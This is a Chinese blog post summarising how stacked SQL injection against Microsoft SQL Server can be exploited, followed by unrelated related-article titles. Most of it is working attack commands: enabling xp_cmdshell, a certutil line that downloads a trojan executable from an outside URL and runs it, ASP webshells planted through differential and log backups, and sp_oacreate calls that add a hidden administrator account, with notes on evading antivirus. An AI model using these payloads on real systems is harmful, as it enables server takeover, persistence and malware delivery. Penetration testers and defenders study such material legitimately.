mssql堆叠注入利用总结

  • 前言
  • 环境
  • 写webshell
    • xp_dirtree
    • xp_dirtree杀软反应
    • xp_cmdshell
    • xp_cmdshell杀软反应
  • 通过命令执行拿shell
    • 无杀软
    • 有杀软
  • 通过差异备份写shell
    • 有杀软
  • log备份
    • 有杀软
    • 遇到的问题
  • sp_oacreate
    • 无杀软
    • 有杀软
  • 参考文章

前言

前一段时间遇到了两个mssql的注入,一个是可以限制长度的命令执行,另一个是网站可以注入,但是主机存在杀软,不可以使用xp_cmdshell,所以总结一下mssql堆叠注入环境下的函数利用,以及杀软的反应
当然,下面的函数基本都要基于dba权限,如果不是dba的话,拥有相关权限也是可以的

环境

这里使用win2008搭建了iis和mssql环境,mssql的默认用户是network权限,数据库连接使用sa权限

写webshell

写webshell的话需要知道相应的目录权限,可以通过报错信息,字典来猜测,执行命令和相关函数来搜索,读取iis的配置文件等方式,这里主要来使用xp_cmdshellxp_dirtree来演示

xp_dirtree

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件


如果不能回显的话,可以把查询结果写入数据表中,之后通过注入来获取相关目录信息

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
select * from tmp;

xp_dirtree杀软反应

这里只测试了某卫士

这个函数杀软没有反应

xp_cmdshell

开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

查找asp所在目录

CREATE TABLE cmdtmp (dir varchar(8000));
exec master..xp_cmdshell 'for /r c:\inetpub %i in (1*.asp) do @echo %i'
select * from cmdtmp

xp_cmdshell杀软反应


可以看到对xp_cmdshell函数拦截比较严格

通过命令执行拿shell

无杀软

可以通过xp_cmdshell函数来执行命令写shell
开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

使用xp_cmdshell下载和执行muma

exec master..xp_cmdshell 'certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe'
exec master..xp_cmdshell '%temp%/1.exe'

如果遇到长度限制的话可以参考我的另一篇文章记一次asp+mssql的注入和命令执行(已脱敏)

有杀软

和前面一样,对这个函数限制比较严格,哪怕是错误命令都不能执行

通过差异备份写shell

有杀软

backup database test to disk = 'C:\test\bak.bak';
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='C:\test\d.asp' WITH DIFFERENTIAL,FORMAT;

这里的0x3C25657865637574652872657175657374282261222929253E是对应文本的
16进制编码


这里在有杀软的情况下可以正常执行,无杀软的情况下就不再测试,不过

backup database test to disk = 'C:\inetpub\wwwroot\bak.bak';
backup database test to disk='C:\inetpub\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;

在写shell 的时候会因为目录权限问题而导致无法写入

log备份

LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FULL 如果权限不够的话就要看是否已经开启log备份

有杀软

alter database test set RECOVERY FULL;
create table cmd1 (a image);
backup log test to disk = 'C:\test\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
backup log test to disk = 'C:\test\hack2.asp';


可以正常执行

遇到的问题

执行alter database test set RECOVERY FULL后无法执行backup log操作,重启数据库之后才可以,还存在目录权限问题,写文件到C:\test\hack.asp可以,

backup log test to disk = 'C:\inetpub\wwwroot\hack2.asp';


存在目录权限问题

sp_oacreate

无杀软

开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123 /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add';

因为权限问题无法创建,这里使用写文件的方式

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c echo 123>c:\test\123.txt';

有杀软


应该是对命令执行比较敏感

参考文章

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://www.cnblogs.com/xishaonian/p/7421592.html

mssql堆叠注入利用总结相关推荐

  1. 记一次asp+mssql的注入和命令执行(已脱敏)

    记一次asp+mssql的注入和命令执行(已脱敏) 注 前言 复现 总结 注 本文已经首发于freebuff asp+mssql的注入和命令执行(已脱敏) 前言 前一段时间参加了一个活动,这一段时间学 ...

  2. 07_SQL注入_堆叠注入绕过注入

    07_SQL注入_堆叠注入&绕过注入 1.堆叠注入 1.1 注入理论 谈及堆叠,顾名思义:就是多条语句一同执行.实际开发中,部分数据库支持多条SQL语句同时执行,在这样的场景下进行SQL注入, ...

  3. SQL注入之堆叠注入(sql-lab第38关)

    什么是堆叠注入 在SQL中,分号(;)是用来表示一条SQL语句结束的.试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入.而堆叠注入可以执行的是任 ...

  4. mysql 堆叠查询_SQL 注入方法 - 盲注、报错注入、UNION查询注入与堆叠注入

    盲注 关键点是 根据页面返回内容分析 Payload 中的问题是否为真,然后通过多次测试遍历出想要的数据 布尔盲注 目标地址:http://newspaper.com/items.php?id=2 对 ...

  5. 堆叠注入-强网杯2019随便注

    靶场地址 链接(click me) 发现很友情的提示,emmm,那就先使用不同的 payload 进行测试,看下结果吧 直接点击提交,看结果,输出为一个数组,此处应有文章可做,再测试其他payload ...

  6. Stacked Queries(堆叠注入)

    文章目录 基本知识 原理介绍: 堆叠注入的局限性 Mysql数据库实例介绍 CTF 实战与各种姿势 修改表名 利用HANDLER语句 利用MySql预处理 正常利用 MySql预处理配合十六进制绕过关 ...

  7. 【SQL注入07】堆叠注入基础及实操(基于sqli-labs-less38)

    目录 1 堆叠注入概述 1.1 定义 1.2 与union联合查询注入的对比 1.3 局限性 2 堆叠注入实验简介 2.1 实验平台 2.2 实验目标 3 堆叠注入实验步骤 3.1 前戏 3.2 判断 ...

  8. SQLi-Labs系列之堆叠注入

    目录 预备知识 堆叠注入 关于SQL基础语句 phpstudy介绍 实验目的 实验环境 实验步骤一 实验步骤二 预备知识 堆叠注入 1)概念 Stacked injections:堆叠注入.从名词的含 ...

  9. (17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程

    目录 cookie注入 sqli-lasb-master less-21 方法一:用burpsuite进行抓包后修改 方法二:安装火狐的cookie manager等插件进行修改cookie 第一步: ...

最新文章

  1. 30行Python代码实现高分辨率图像导航
  2. laravel 中创建全局函数 (类似于 TP 中 functions.php) 的方式
  3. 中小企业如何巧用大数据?
  4. swift5表情键盘项目封装
  5. 平流式初沉池贮砂斗计算_?初沉池、二沉池的作用与区别-亨孚科技
  6. 【操作系统】操作系统的生成
  7. resolv文件自动配置
  8. ubuntu 文件权限命令详解使用格式和方法
  9. Webb.WAVE项目开发体会与心得
  10. 高速PCB中常见存储器之FLASH引脚图、布局布线设计
  11. 【血型】+【星座】准到吓人
  12. 数字人民币的基础-共识与信任
  13. PC与S7 1200PLC通讯
  14. 使用Cmake生成跨平台项目编译解决方案
  15. 从顶级黑客到上市公司老板
  16. 细观Google全面大揭秘
  17. 接触C#的第一天和回锅Python的第一天
  18. csharp基础练习题:反恐精英系列【难度:1级】--景越C#经典编程题库,不同难度C#练习题,适合自学C#的新手进阶训练
  19. PC ACCESS 测试客户机出现错误 win7 64位
  20. C10K问题与IO多路复用

热门文章

  1. java修改file的名字_File类——JAVA实现批量修改文件名称
  2. jQuery实现高仿QQ音乐
  3. 4273_NOIP2015模拟10.28B组_圣章-精灵使的魔法语
  4. java子类调用抽象父类方法_【坑】Spring中抽象父类属性注入,子类调用父类方法使用父类注入属性...
  5. Python实现的空灵鼓模拟器源代码,可定制曲谱,简单易学
  6. 我们去华强北用1300块装了一个iPhone手机
  7. springboot-鑫源停车场管理系统 毕业设计 -附源码 290915
  8. 我的msdn使用技巧
  9. “三巨头”新格局——TAB是怎么取代BAT的?
  10. 趣谈“阿娇”——西工大校园里的ARJ-21